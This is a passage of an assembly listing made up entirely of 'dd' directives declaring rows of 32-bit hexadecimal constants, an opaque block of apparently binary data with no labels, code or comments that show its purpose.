		dd 5416EE3Dh, 6A005A90h, 53BA0674h, 0ECA9DBh, 7F3D2D0Fh
		dd 0C5D858F8h, 0E545702h, 851D98B9h, 845E5A2Ch,	191CC504h
		dd 3867BC90h, 9CBC4882h, 9CAB0F8Fh, 0D08E1407h,	55E0E3DEh
		dd 3F879D4h, 98BBB5F8h,	2C90CCFEh, 2282D8E6h, 0DC133009h
		dd 55055756h, 84403F54h, 40AEEE44h, 485C7267h, 658A1470h
		dd 0EBEE40D4h, 373FECD2h, 0FBBE096Eh, 0AD4CA5BAh, 9E8EB803h
		dd 0E0458242h, 0F84A94DCh, 37D3129h, 8CDF6699h,	0E94F14E1h
		dd 70400009h, 0A06808D0h, 0FA091593h, 40755965h, 0DC34301Ch
		dd 0E2F480A1h, 0BE9E64EEh, 7B028779h, 0F20542D3h, 13D44289h
		dd 17C80048h, 92A7A0CCh, 0EFE46A77h, 0BF7F4400h, 0E09F7D79h
		dd 8EB817h, 0D0168F90h,	0B64CC329h, 0B4E6982Ah,	76326F00h
		dd 72B4802Ah, 0D0E126E7h, 2AA724A1h, 0E2740884h, 0BCF919h
		dd 4FB88E54h, 0B99DB644h, 0B1D0018h, 0B0C19E60h, 6D06C098h
		dd 0EB98A82Bh, 9D3E0021h, 0AE8090BBh, 5C5CFE51h, 8ED70152h
		dd 7F15D5B7h, 0CF7E9F8h, 16DAFF8Fh, 96505110h, 2302BA14h
		dd 6E9F4402h, 70D0E429h, 0D3940311h, 287984D8h,	209A3099h
		dd 2B0122DCh, 0E7EEE1CBh, 8C20477Fh, 9C5D0414h,	0CC7BDAF7h
		dd 2A875F0Ch, 144988Ch,	0C64726FAh, 40E281D6h, 6619F288h
		dd 0F4D12A03h, 0D0EF0894h, 0D7A54A3h, 0ED7CE03Eh, 0A5EC0C51h
		dd 78F9FC0Eh, 1022090h,	5B8D35h, 1BF88E28h, 0FD6BBD8Bh
		dd 0E82C5EF4h, 0B43B416h, 90E4A99Ah, 5C7CD2D8h,	869EE45Dh
		dd 29DDF98Fh, 1D20D017h, 60B7440Ah, 571DA424h, 6F670E22h
		dd 3B00C1AEh, 0EB1DB1ADh, 12BC4449h, 0B440FDF0h, 0AC70E134h
		dd 76B31755h, 0E01C03BDh, 494A4E75h, 2DBC7000h,	9ADBA3Ch
		dd 0F447F7CBh, 0A467820h, 960CED72h, 0B0CFEB37h, 0CE35CC7h
		dd 2C4524h, 0C4641E2Dh,	671D44BBh, 0FA515811h, 68D08F3Ah
		dd 1DD00162h, 1AF8C9AFh, 4451D2DEh, 0CFC86010h,	2C677440h
		dd 360B1D4h, 62F04665h,	90484068h, 7BCF2405h, 43D1D421h
		dd 12575070h, 0D398A5D5h, 0E9A02788h, 0CD00659Bh, 9903B17h
		dd 5CB33C1h, 78A47EE7h,	0EA00FA8h, 187CC2B1h, 578449Fh
		dd 1532AAE0h, 0BAA84427h, 0F14606BFh, 3EF201C1h, 0C5BC0960h
		dd 2DAC31F7h, 27F81D58h, 70F13B00h, 0B857AD96h,	0C4764828h
		dd 0CB80FD3Ah, 0A1ED8380h, 9300B6AFh, 0D97B3EFh, 6035AAC2h
		dd 88EB19ECh, 0C807022Fh, 3D2C7A7Fh, 0B50F6830h, 0FFC6005Ah
		dd 6AAADBCBh, 7F1DAFE9h, 8280A495h, 0C22E49A5h,	871603B6h
		dd 204E932Fh, 0B5DB4901h, 8A68272Ch, 0C1DEE1F7h, 4D0F8017h
		dd 11C0CE82h, 587C80D8h, 0C8030FC1h, 0C33E4E7Bh, 97F246F3h
		dd 0FC295E8h, 6F0C5600h, 50F74529h, 9382C301h, 713BF854h
		dd 8E037F63h, 0EBA874AEh, 0B61900F6h, 0B935A4Dh, 6A003312h
		dd 8AE2AD38h, 0EA9EAA80h, 0CD2F187Bh, 0FF0208D4h, 0C4DD8101h
		dd 749FE34h, 526F5450h,	88260129h, 793DA87Bh, 8FB180D7h
		dd 0D6F31B85h, 34D95CA3h, 50E15E18h, 8E60EAA2h,	0D53F0B89h
		dd 0CCA91C4Ah, 0A04E40DEh, 75A6AA74h, 0C26A8900h, 52B8F29Bh
		dd 0EE59C7D2h, 48430B5h, 0FA3937BFh, 2F3C00C7h,	7AF2A52Eh
		dd 0CEA9300Fh, 13534FB9h, 0A7CD2B00h, 0A6352D8Bh, 0DB2631D8h
		dd 9F91E921h, 140D589h,	38A3D73Dh, 0D6BD0095h, 0F9D9D834h
		dd 0B4F4C50Bh, 389B0A36h, 96AA0049h, 0A0D545AEh, 0E600C353h
		dd 0BA90CE7Dh, 62733DA3h, 9732B1C7h, 9377A8A0h,	0D5FE7AD6h
		dd 4692F900h, 0F60EAEC1h, 0FFFB5863h, 0CD9A5661h, 0F5A180CBh
		dd 0BB221D68h, 0A5873CAEh, 0A852808Dh, 48F40751h, 785BFBCh
		dd 0C32870EDh, 0A28D6B70h, 2CFD303Dh, 98D87B20h, 0AAE70A00h
		dd 8AC3F96Dh, 3389204Ah, 0B37F4901h, 0A8C9169Ah, 3BC2A3D4h
		dd 0E8FECD6Ah, 0BB2008Bh, 0C80AAD28h, 81C0A932h, 0FEA612ABh
		dd 31A40088h, 70ECC32Dh, 32433F2h, 56080C63h, 0F3EB0D8Dh
		dd 5F1C8A9h, 0AA6F6C00h, 0BC20368Ah, 0FEE20917h, 9802AF82h
		dd 30466B2Bh, 80DB7081h, 2B731BC0h, 0A6BB70A5h,	83E500ACh
		dd 0B090203Bh, 84F062EBh
		dd 6AB19F00h, 0AFFC4E89h, 0B7A90822h, 9306D803h, 7C597A50h
		dd 0F2C4296Fh, 85D886ECh, 681579D0h, 50A05880h,	0DA18035Ch
		dd 0FF79AF32h, 2CFCE5E4h, 0C480095h, 0B9F345DFh, 0CD006803h
		dd 0AAF082B5h, 16BE0D4h, 0EDA52974h, 0A6AE7A0Eh, 0CA18B8E8h
		dd 44753369h, 29C48F11h, 1F44BD72h, 626846CEh, 1F037F20h
		dd 87BEE99Eh, 1774A3D5h, 64BC121h, 2B398C56h, 1781D02Fh
		dd 1801EF2Dh, 885B905h,	0D4807D55h, 229877C3h, 3E142275h
		dd 12BCC224h, 6040D05Ah, 1DDA90FBh, 145C015Bh, 83992868h
		dd 75F824F5h, 0B7932486h, 0F7C96E48h, 0A52D20A0h, 60C42EA7h
		dd 0DB04F434h, 0DE34C832h, 590052E6h, 16D40F6Eh, 0E20D3h
		dd 0FE02DD77h, 2B15809Eh, 0EAA3D20Ch, 5F6192h, 0AEB97B67h
		dd 5552E8A7h, 4B254801h, 2EDBD29Eh, 36A7420h, 0A28987BBh
		dd 390EF5EBh, 0E0B18BB2h, 0DD9A8320h, 0A0740A61h, 80AC217Ah
		dd 805228DAh, 0BD294682h, 3001B0DFh, 0FB3CC94Fh, 8001A823h
		dd 8154E00Ah, 0F5803527h, 0DCFC4063h, 0A5050183h, 910F3651h
		dd 1190C810h, 53157F50h, 0E3D9CD5h, 7737500h, 8A6FA065h
		dd 6C2D3701h, 8F279954h, 888CA024h, 0FF0051CFh,	7747FD18h
		dd 0B84C2D71h, 0D3A2021Bh, 0C72E758Ah, 30CCB8E1h, 0E4039208h
		dd 5984E1D7h, 0F2DCC895h, 0AF6200C0h, 14E03C72h, 0E3002BC7h
		dd 75A85956h, 24846F02h, 809033CDh, 3D7FC244h, 9C3A1F46h
		dd 0D6DE82D8h, 60E3E921h, 2480CECEh, 80900591h,	0AF269EDAh
		dd 0B1744A59h, 0D112D900h, 4662EA0Eh, 4CE91F5Ch, 0B46900B6h
		dd 639FF8A9h, 4A975E03h, 0E1AAA408h, 83317D04h,	724576F0h
		dd 2A5600B6h, 0B39F50CAh, 5C910E82h, 292C6E07h,	9244908Ah
		dd 49AF405Dh, 5827B77Ah, 0A402A575h, 0A0ACD2FFh, 46AB40CEh
		dd 0ECDB5081h, 1C091CAh, 1A23FB99h, 61BDDC85h, 9CCEE124h
		dd 0E781700h, 4C934AFCh, 1FC0CC76h, 0F9851253h,	22F9B879h
		dd 98970ED0h, 0D910A16Bh, 7020A2F3h, 0B40E0052h, 48B83730h
		dd 0DDE49885h, 0FB821303h, 2C90C005h, 3E5BB10h,	0CEAD7822h
		dd 6A7FDBA8h, 5CDC401h,	52DA7B87h, 2000823h, 0CC5AAD8h
		dd 64054656h, 5A6DDB9Ah, 96CAE0C0h, 16E6B0DEh, 470FA87h
		dd 282C078h, 2A7333h, 0AC85227Bh, 7EF6461Dh, 8A9E7F44h
		dd 9808C895h, 4A6A8080h, 0FE59959Bh, 0AC966300h, 24BFF39Ch
		dd 51A316DAh, 3BC0071h,	8F98B7CCh, 0FF9D3102h, 80340290h
		dd 454AD408h, 0A0B80652h, 69A632C4h, 17FCA1Dh, 61997DC0h
		dd 65CF26h, 72A9E438h, 0DC0EA429h, 0A24E1504h, 34CC5302h
		dd 3F6A0044h, 0F2605D21h, 2D009382h, 6BD78A76h,	0A47F125h
		dd 9D9AE299h, 41E140CCh, 0AE029E54h, 0FF9653FCh, 0C1A8B26Fh
		dd 8008DB5Ch, 0B3499500h, 19FA6B5Bh, 5559851h, 6E1E8232h
		dd 8DBC8228h, 0AD640429h, 5A59A040h, 960049E1h,	98415EDAh
		dd 17C58AD1h, 42E7A21h,	4CD469Ch, 14A022DBh, 12A89C6h
		dd 5A022C45h, 0E500FCE4h, 0BF0C6DA3h, 1E3F6CBh,	3E28F120h
		dd 0E8AB3693h, 63028DF2h, 308C72B1h, 88F88E13h,	20E91781h
		dd 369FD4B4h, 34CAAF00h, 249C1622h, 43300050h, 55FC0CD1h
		dd 9A1690BBh, 142067CBh, 0E720A05h, 474F7613h, 88629385h
		dd 9F17639Ch, 3840E54Ah, 6B3F8299h, 217B6FECh, 0B6780453h
		dd 54E9407Ch, 582EF1C7h, 0D3049A7Ah, 85E1FB9Dh,	0D8A48090h
		dd 3C18E387h, 32F9C306h, 5F89C093h, 0AA0B7204h,	4C2CC900h
		dd 62493F41h, 3CFCE4DDh, 1009B9Ch, 2BF12F30h, 1902D9B1h
		dd 84960F41h, 0C86DC043h, 77879h, 0FA1093F3h, 2A827861h
		dd 0B0C4F92Ch, 3312D411h, 2E902008h, 0CAE40CDh,	80752B06h
		dd 0B80815B2h, 0E00B00D4h, 0CBE89881h, 0FB1FD160h, 3980AF58h
		dd 91FF2779h, 0CD89186Bh, 0AAC651D8h, 9C007C7Ah, 13A2742Eh
		dd 0CC7137h, 11B1623Ah,	4BCAD706h, 30945131h, 0CB718749h
		dd 0D00A463h, 90462C0Fh, 2B001C66h, 2312F005h, 9816F42Eh
		dd 81AC0900h, 700082AFh, 469380E3h, 7400F091h, 0DFC810FAh
		dd 0B8DD545Ah, 0B3B803D5h, 0E284B720h, 81C4CAA0h, 56340D00h
		dd 1B6DD901h, 0CF210033h, 0A62823F9h, 15FA322Ch, 93B72E03h
		dd 0F88482E8h, 91A1F2h,	0F4850578h, 563EB3DCh, 0F925FA00h
		dd 2AD032D7h, 33E4E3D1h, 98DB5803h, 0EF66830Bh,	40F9F004h
		dd 24DE355Eh, 174A0464h, 0C3890F3Fh, 0D8387634h, 0A87C08CBh
		dd 0EA311E2h, 0EB6D9h, 3287126Eh, 8519C0ABh, 6DB3AD74h
		dd 28600B05h, 2488E957h, 89503F46h, 3AF9A86h, 4E205058h
		dd 40CD4AE1h, 0CFFEA04h, 4C00B7C7h, 0CEB5FCFEh,	0A0C0D749h
		dd 0EA088224h, 0AAA71445h, 0C057A856h, 9C82213Ch, 82970DECh
		dd 0A8FA607Dh, 0F03E0336h, 6EC68AC2h, 0AC80ECD8h, 0CDB99562h
		dd 0C4B84835h, 0FFBBA0D0h, 2597F9Eh, 229B9277h,	4C493CEAh
		dd 43BDF580h, 8100DD1Ch, 91E7371Bh, 0EC18663Eh,	0F8A002Eh
		dd 6F01EEA9h, 2004BD5Bh, 723C124Eh, 1C30708Dh, 85D818CBh
		dd 0CCF949A1h, 81B7C07h, 20D02C52h, 0F1C01C77h,	8204D0h
		dd 7A57D5F9h, 488FDBA7h, 364B6205h, 9020EAB4h, 528B09Ch
		dd 0A58868DCh, 0E70C07EBh, 140E07Fh, 58B08C8Ah,	0A077E313h
		dd 4421F912h, 7C224F93h, 0A204E864h, 2B1502C8h,	45828CCDh
		dd 0C32701D4h, 0C687A7BDh, 0AC321CE0h, 69D51C0h, 2E0961h
		dd 0CAB229E9h, 82271590h, 32706D18h, 822C3970h,	5D7F9098h
		dd 0C1770A00h, 80BDB3C2h, 0F7813FF9h, 0E4F1A6h,	873810D2h
		dd 5C01572Fh, 0F06E8FCFh, 0A0E392D9h, 0EB088B9h, 0F3AFC6A1h
		dd 6A596FC1h, 29662099h, 15FF5C03h, 0D85FE748h,	1F44AD5h
		dd 0D9F8B1E4h, 8087066Fh, 0BD376E40h, 398F134h,	92781D7h
		dd 4FD8D0D1h, 84183CA1h, 0E0799B1Fh, 35110052h,	0FADDC9Fh
		dd 7F00C543h, 308FE9F8h, 0F2EFCB40h, 1D87E78h, 88D7F4BAh
		dd 80A91F93h, 63922841h, 0ED5CB6h, 0A8E56734h, 0C8723AA0h
		dd 130F9B0h, 37B92873h,	0B88E00A1h, 0E0D6E687h,	8661196Fh
		dd 91257EB1h, 0CF36E0h,	0D02496F7h, 7FA21193h, 0D3E1B818h
		dd 13D89029h, 952FB6Ah,	0A2D0B387h, 99C6154h, 7F73D900h
		dd 3D84CE47h, 894C0068h, 23D17652h, 4500CAA9h, 501FB6ACh
		dd 0FC576FA0h, 0F058C0ADh, 0F32DC9CBh, 0B1C07EFAh, 6BDCA3C8h
		dd 889E1EBFh, 65582DE2h, 0E8E11C00h, 0CCF6A6Dh,	3CA0B830h
		dd 98349DFh, 6FA6505Bh,	9C004078h, 99B464C6h, 0FA0FD27Ch
		dd 50CA00C7h, 1802F6B5h, 0E97AA781h, 99F7AE1Eh,	0DF16F903h
		dd 38D298CAh, 0CE8A009Fh, 47F6A471h, 0B0CA62B5h, 46B6BCAEh
		dd 60210069h, 0C99D44D3h, 893EB21Eh, 323B0067h,	0DB992A4Dh
		dd 0E290267Dh, 685707BBh, 0EF4420CCh, 0ACE6866Ah, 9D7D80A0h
		dd 0C78E9302h, 0F51924Ch, 6573009Eh, 0EE09D630h, 31C5BF6h
		dd 0DCC06D52h, 0F6D8816Ah, 6E171541h, 9A3AC070h, 0F700843Ah
		dd 6467EEFBh, 62E880ABh, 0B28F3C0Eh, 6A3487F8h,	0A81E775h
		dd 10227855h, 0D2A10F0Ah, 0A57F80F4h, 25EA8293h, 0E0852603h
		dd 0E254B505h, 0B98091A2h, 88091A10h, 0F5524401h, 381EC1B5h
		dd 17C8F530h, 90D049h, 0A6F0E8B5h, 0EA480C1Bh, 0D14804CEh
		dd 0A6815FECh, 5130FEB7h, 0C9400FA1h, 0F4E09D38h, 0EBF9ABFDh
		dd 5132D90Eh, 0D809F8Eh, 8153407Ch, 5CD150A3h, 1D61006Bh
		dd 23E16FD2h, 4F051045h, 7A30AAACh, 359CA440h, 815E80h
		dd 3456247Fh, 0FCBDAB59h
		dd 0F4F1D660h, 63BCDF4Fh, 0E319D6F1h, 5FC41900h, 0E22B4D79h
		dd 974100B1h, 0FFB58BF1h, 34031CC1h, 16F8464Eh,	0C33100D1h
		dd 77E85AE9h, 1A2A92D8h, 0F61CE4DBh, 0EE40F926h, 76E115D7h
		dd 81713EF7h, 0A4B8D900h, 1B0AD111h, 6A3CC102h,	48B10757h
		dd 6139AA8Ch, 0F78EC960h, 8FC84C26h, 79019802h,	0A09C1EEFh
		dd 0CD5670CCh, 0C6730076h, 6DAC3CB6h, 0B9003BC0h, 7B47B391h
		dd 3F794EBh, 0F9FB5ABAh, 22B50A8Dh, 2C641DFCh, 308AF100h
		dd 278DA8BFh, 40AA00BDh, 0D3A430Ch, 0AC267AF9h,	0A2BD003Dh
		dd 80193051h, 0EEC86849h, 49781800h, 6BF3301Eh,	0F53D091Fh
		dd 1C20BA50h, 0D64BF4BCh, 0DA20E400h, 5A0F08CDh, 0E61000A3h
		dd 9DE34568h, 6A1D3A05h, 63DDADE1h, 0FEA2B981h,	8848D5E0h
		dd 0F60A00CBh, 575DE5D2h, 0C1D2BC51h, 0BE524C08h, 0A8AB0414h
		dd 0E3443A9Fh, 371C197Ch, 58C03C7Ah, 1C7DF9DAh,	3897001Eh
		dd 0C64C53F2h, 0F0A4197Fh, 0A9BFD500h, 0C4DC27C8h, 0E149CF7Dh
		dd 0DE00E80Eh, 0FED6B8A5h, 0DF083F51h, 81FBD3C9h, 68DB9041h
		dd 11807857h, 0FD34D8F0h, 14989D0Eh, 0A04FED12h, 10975C4Bh
		dd 0AB6748h, 0A9914328h, 0F6E1900Bh, 0B8DB2B3Eh, 9D178C16h
		dd 18F92842h, 0F06D8DD1h, 85828FA3h, 985EFD30h,	8C2E8705h
		dd 2F6F8040h, 64038A5h,	0E98F75DAh, 851DF85Fh, 0BF86E40Eh
		dd 2140EBF6h, 2B08FDE0h, 8168807Eh, 0F8B87047h,	5070C850h
		dd 0DEF0BF54h, 42CDD900h, 9B0D75E6h, 0A1240059h, 0EA7999B1h
		dd 0B21E6A51h, 31B050F6h, 3B70DF4h, 64553809h, 70919A16h
		dd 0A2F3ECDEh, 7B56CA00h, 226F39CCh, 49AA7BD5h,	7601E05Ch
		dd 0FBB884B0h, 9880CE2Ch, 0A634CBF5h, 828C1F48h, 40DED979h
		dd 154439Dh, 0F63496FDh, 0C86B8663h, 8839F758h,	24F5A490h
		dd 804A5C08h, 0DEB8C7D9h, 4806681Dh, 899829CFh,	575F0428h
		dd 473FC56h, 388C37AAh,	8F9867Eh, 0A2AE0C22h, 8E11EE35h
		dd 0E8269802h, 0C0F8AA9Eh, 83AD07B4h, 5597D8D0h, 467429C0h
		dd 137ABFh, 987E0B52h, 0FCE5D0CAh, 68630404h, 6E00FE06h
		dd 40FBCF26h, 0D0A0ABE8h, 4B03D88Eh, 332B8028h,	0B8500C67h
		dd 1D31F9E7h, 0FDA9B068h, 0D2C1771Ch, 0F4E9D5CCh, 515C5420h
		dd 5440A88Fh, 4E54EEh, 0B559D730h, 0F26D62Ah, 18001DFCh
		dd 0CAFDB2FBh, 0C4A878h, 35EC0E0h, 0D33276B8h, 0BE1E260Ch
		dd 1D3E301Fh, 306AAD04h, 0FD5D2F18h, 0A6E02941h, 511C008Dh
		dd 27DBA71h, 317FA3F4h,	0F100CE7Eh, 45C06E94h, 7AAFB403h
		dd 10CE43Fh, 1977132Fh,	9ECFFD5Ch, 61B0D159h, 70ADD446h
		dd 0AC0B06AFh, 38863C77h, 78BD70C0h, 60FDC524h,	1496812Ah
		dd 5E1F11C7h, 8039B1ADh, 813998DEh, 325A2E1Ah, 67616B7Fh
		dd 2A432120h, 9DEA00F0h, 0AC14D774h, 110FD8ADh,	40C5AFF6h
		dd 25D1CBB1h, 2FE300F8h, 0D4556F63h, 0EA0056B0h, 1CCFAD97h
		dd 3BCA5C7h, 1A3C995Dh,	5F9891D6h, 530C05B6h, 0A134822Eh
		dd 0F8E8682Fh, 0C55D0EA4h, 9F1268C0h, 0BD114B2Ah, 460C321Bh
		dd 0F82930B5h, 350015ECh, 0D609F29h, 803C95D5h,	1652B003h
		dd 0B55E00C4h, 595CBCB3h, 0B21F0C71h, 0FE283BDFh, 4D5980E5h
		dd 0BD7BD6E1h, 41EA8Fh,	0BCF059ADh, 1DD5160Ah, 607DF0A9h
		dd 0A0001FEBh, 0EB10FAA7h, 0C031B0B9h, 920BB591h, 9D302F25h
		dd 33C55939h, 10C855F9h, 3C7CC6FCh, 0C78F59E9h,	0EF80BFBEh
		dd 0FD6536E3h, 4E393360h, 906D32C6h, 3E9000Dh, 241F5D2Bh
		dd 0C00C0145h, 0E112D1B6h, 0A54F3EFDh, 0BE96600h, 495E9E7Ch
		dd 21C0DE75h, 5D2C121Ch, 79E90710h, 0A0F4252Dh,	566F9768h
		dd 2F2B351Dh, 5FD3E131h, 304A443h, 0CC24E611h, 83C010C1h
		dd 0B8001CC5h, 1D896416h, 3C21FEEDh, 0BD8C2490h, 5BE838C1h
		dd 8052813Bh, 0DD3919B9h, 0A16D195h, 35B55DFDh,	409C9F94h
		dd 90C98042h, 7D908520h, 3EB5BB06h, 8937FDh, 0ED18B817h
		dd 55844FCDh, 2A95CF00h, 0F0EC21D5h, 6B8D017Bh,	0ED6FBE33h
		dd 560840C8h, 29C69677h, 167137B4h, 8E3A40h, 78986FBh
		dd 8C0D40Ch, 412E7C4h, 2625006Ch, 0BE43B7DFh, 0CE3E3F37h
		dd 89A800E1h, 1C8A7675h, 0A8EB542Fh, 0EEC6020Fh, 0F092E9B3h
		dd 55F21043h, 0E8CEF890h, 0B503FF1Fh, 44B43172h, 0E6110058h
		dd 5C53BF9Ah, 0C02C5B5h, 28D63422h, 7184C9Eh, 0B8A03BECh
		dd 1916C62Eh, 8A3580C8h, 82D0D9D5h, 0F41E675Ch,	28599E40h
		dd 5E90F560h, 4DB46D27h, 0EA006429h, 0E2575A76h, 39001E66h
		dd 0C9DC743Bh, 0CADB567h, 0F7D16E9h, 7F090338h,	7AFB02h
		dd 3FB501A0h, 0C8C40EBCh, 19A98AB1h, 0B2BBC410h, 229C3103h
		dd 189D5A4Bh, 991BD508h, 0B8016FE5h, 0DDAB6490h, 36C44638h
		dd 0B9731284h, 66C40105h, 0A204B11Fh, 0D220A8F9h, 6D530BBh
		dd 5B8F4E49h, 54940900h, 442AAE8Dh, 0E75D04EDh,	239636CCh
		dd 4310913h, 0FC1017B2h, 0DF009F50h, 74B5583Ah,	0C0A706E9h
		dd 46B66A60h, 0D761BD1Fh, 42705639h, 183180CCh,	1901D50Ch
		dd 92034354h, 77C27291h, 46D888AAh, 5995266Fh, 0CB2B02D0h
		dd 0C893B31Eh, 560DC0AFh, 0A2249AFDh, 1511D4E4h, 0A36FA000h
		dd 0FE9E721Ch, 8BA43054h, 0AF364000h, 56848D1Eh, 2EAA1122h
		dd 0EED3009Bh, 2D293F0Dh, 144904Ch, 59A8053Ah, 0E08F3591h
		dd 61C068D1h, 7CAEB1D8h, 0F846F044h, 1D19D21Fh,	0AD99C70Dh
		dd 345D2332h, 1ECE2390h, 5CF7B428h, 0C08F2F26h,	7D543h
		dd 1FDEEE19h, 1C704A48h, 6D8B6A00h, 6F17019Eh, 0D624140Fh
		dd 7E0CE855h, 0B1702CFFh, 0D2127812h, 0D0391C0Ah, 0B341F044h
		dd 2428B4C1h, 48007F4Ch, 0F7F3B814h, 1EB9241h, 381F5819h
		dd 8085D1B5h, 5AB40791h, 908C9E35h, 849748C4h, 0B4CC72B0h
		dd 5EE02306h, 0E600113h, 0C5F73394h, 0B9FCB5A1h, 0D43257h
		dd 9632E4B3h, 3A5AFA7Bh, 80500395h, 81C5883Eh, 5357B500h
		dd 0AB1E3423h, 0C488A4D5h, 481FC5D8h, 0BB048605h, 0C4EC416Dh
		dd 827FD26h, 0FA739440h, 0BE1F379Ah, 46EAC0F9h,	0DD04D8EDh
		dd 560CC079h, 92865DC4h, 29236388h, 310003D5h, 53147A79h
		dd 229FCAh, 0A4E4D6B2h,	65BFBC98h, 9C802F0Bh, 3D90206Ch
		dd 0C122FE5Bh, 0ADC36F81h, 0E0D9EDD7h, 7100A88Ah, 0C27DBD99h
		dd 7DCF5160h, 34F248A0h, 8B6F316h, 0BD8F31C4h, 2E47404Dh
		dd 501F59BBh, 580448B4h, 1E82B0B8h, 2446D6AFh, 112BEB37h
		dd 0F08C5865h, 0AB2A8497h, 0AC93E881h, 1E7E3A83h, 0B1282EC3h
		dd 20FD1600h, 7266DBD0h, 277FC900h, 0F75EF616h,	2BF4A843h
		dd 19EE1CFAh, 4EE447C5h, 0C79801B7h, 0EC37DCFEh, 0F4B3C10Fh
		dd 0B9C4A0ACh, 0D82ABEh, 0E6B53F0Ch, 0D7FD6D5Ch, 3A243903h
		dd 0E443EBD2h, 18BD0CD0h, 942F0167h, 0BCAA39B0h, 0B30840E0h
		dd 0F0905B7Bh, 0BE1144h, 289A4B90h, 43C35386h, 310B900h
		dd 59D87BD9h, 91A20195h, 431F32Bh, 51822B7h, 94145518h
		dd 8A9EE000h, 0A8EEF948h, 48DED6A8h, 0C0C07420h, 0F58D6837h
		dd 2945E910h, 6A00A869h, 39A3E370h, 0FEBCAC14h,	7DB30108h
		dd 6EB40365h, 44B6D848h, 2B54FE0Fh, 93003AB0h, 59839EB4h
		dd 3B6147Ch, 9802DA31h,	47C8CA35h, 9D72A592h, 5C0D252Ch
		dd 0AA3E0307h, 0D0D924B5h, 203C2042h, 0B559ED5Eh, 4FA92260h
		dd 5C2D70BBh, 0E8000EF1h, 0CFCC3C7Bh, 0AB0006FEh, 0E66A941Bh
		dd 24FA410Fh, 0E09392h,	0B331A8BBh, 0F41DED54h,	0C91E8D2Fh
		dd 4F9577CEh, 246700B5h
		dd 771E55Eh, 6B51ADFDh,	0AC358015h, 3B027D04h, 7EF02768h
		dd 50C639h, 0B1E94BBAh,	4ED3B1Eh, 0DDE15909h, 0D480F8Bh
		dd 4433B177h, 0CCE48E00h, 899A5CF1h, 936CEF00h,	464FD31Ch
		dd 0AFFE05F2h, 132CC1B5h, 0BC08088Ch, 3D952F41h, 4CB48851h
		dd 58802960h, 0C509141Dh, 410AD03h, 0DA50F307h,	54A2A9D0h
		dd 0B65C14B8h, 0FCB53A29h, 400DD500h, 0DC64AAh,	9CB40AECh
		dd 5B5E986Eh, 634B3200h, 0BD2E66C1h, 0E89200DBh, 0BC35A519h
		dd 0B900FA09h, 460F1248h, 78EB5E66h, 0ABBD009Ah, 0A3FFAD92h
		dd 195006DCh, 28004314h, 2A56BB7Dh, 0D7354Bh, 0FBBEC5EFh
		dd 88204292h, 0D8ED8128h, 0C8B34E02h, 64B5465Ch, 11021D64h
		dd 892C09A7h, 80B17A84h, 49A2648Eh, 7E7D5609h, 50684409h
		dd 3867F7D7h, 2800446h,	59E7EEB7h, 0FA007157h, 0A5691732h
		dd 0C049AD8Bh, 63BD6D10h, 203B6892h, 6C1E80DBh,	377C0110h
		dd 38991ECBh, 0EDE08612h, 77003043h, 5EE1C3Eh, 38CE1366h
		dd 7909D13Bh, 0C38335BFh, 53887CB3h, 0AA00D0EDh, 556D744Fh
		dd 3E34D9C7h, 0C0018A6Ah, 4A458EE6h, 0C967F02Eh, 4911C04h
		dd 5480B65Eh, 0A6A999DDh, 0E8A40080h, 4F602D37h, 700178C2h
		dd 64C74A68h, 22D0E4ACh, 1E9B03Bh, 0F0ECA7AAh, 2428FE31h
		dd 4700F5A8h, 776AB2Ah,	0EC241C0h, 0A6463726h, 4A53ACE0h
		dd 35093F3Ah, 645E0BCEh, 0EBCA0068h, 3DAF9BBEh,	5F09F488h
		dd 8FB5E993h, 3ED32870h, 6BB0E882h, 0BFC2F2ABh,	6F094089h
		dd 0D1D8849Bh, 535CB21Eh, 0A2259ED4h, 0E0BBA22Ch, 97487Dh
		dd 2AC26B25h, 2EC01C3Dh, 13548A5Ch, 0F00AFE79h,	5E8084BBh
		dd 27E1B710h, 640E1F7Ch, 0D9243F9h, 2822037Ah, 0ED3A0162h
		dd 5A2E51FAh, 0C1802413h, 3D4CF04h, 30D105B2h, 31802FB4h
		dd 0A52070A1h, 0D73E1E1Dh, 9195CAAh, 8482D1C9h,	0A432840h
		dd 0A0EFDF11h, 0B3BD41FEh, 0C71B8C70h, 0E81776h, 0EA382BD9h
		dd 12E7CFACh, 96D5C000h, 0C31C315h, 0A42F7E35h,	0C8C13890h
		dd 6C00A16Fh, 922080CCh, 2C9C2348h, 5E40A4A8h, 76794B2Fh
		dd 7BD1307Ch, 0D529BC31h, 0B8022C76h, 0AF4981A4h, 0B43660BEh
		dd 0DA21F42h, 0EC73C06Ch, 0ADC4E4C9h, 0EBEDBD18h, 1A61610h
		dd 74566706h, 0E0E5BF92h, 0B014C34Ch, 9D8CE92Fh, 34958192h
		dd 4E214C8h, 465945E1h,	4734C8D4h, 24BB9C00h, 0BE389512h
		dd 70A65CD0h, 3F3FB210h, 31B082EEh, 0C048829Eh,	1D54A67Ch
		dd 0B97C16h, 27597718h,	51C31CFFh, 0B0D27B56h, 366C2C24h
		dd 1182553Bh, 35E2E06h,	1916BB9h, 5930FF1Eh, 10D8843Ah
		dd 743CC8D6h, 6908A085h, 0CD25046Bh, 0F2B71FE0h, 88B523B8h
		dd 84206CADh, 3842CB1h,	8F362ACh, 84006453h, 0E811373Ah
		dd 700003A9h, 0ED0F1A45h, 5F05065h, 0C65ED5DCh,	0CEF4320Eh
		dd 8090FC8Eh, 25209FFCh, 0BBE91966h, 71B27003h,	47085C5h
		dd 9088E3BCh, 13D814B1h, 9503A455h, 64875BACh, 1F4CBC0h
		dd 7F47B738h, 5335720h,	844B229Eh, 6A8C30D5h, 3A0CB024h
		dd 18F94434h, 920313B5h, 3D349045h, 39F7E140h, 0E3D40080h
		dd 53047966h, 43B43CC1h, 7A39ECD0h, 3D2E1603h, 0D91490FEh
		dd 2B00868Dh, 0CA4F79EFh, 4AC423F3h, 0D8BC399Fh, 0DD2609CFh
		dd 0EA3E0667h, 0D30EA0F8h, 0E42E093Fh, 445C9884h, 83522F08h
		dd 2D220Ch, 5FFAD295h, 0E2574BFh, 0CD292E00h, 196B12ABh
		dd 3E55F8E9h, 591D0139h, 46403016h, 7C03C693h, 0FD5CBDB3h
		dd 2C198650h, 301CAB36h, 0AAB93962h, 0E1456C94h, 78B7C820h
		dd 0CCB25412h, 0F4BE5203h, 0FC551576h, 7C4CC416h, 9495A850h
		dd 2CB58CB4h, 7CE2F0B9h, 0B3006374h, 0E053BE42h, 94A3798h
		dd 13FAB830h, 0C0B76444h, 7767975Ch, 1559E4E2h,	0E4AD5C34h
		dd 1F92F304h, 3E28E3B2h, 0B93A0A39h, 0E29060A9h, 0C08170C8h
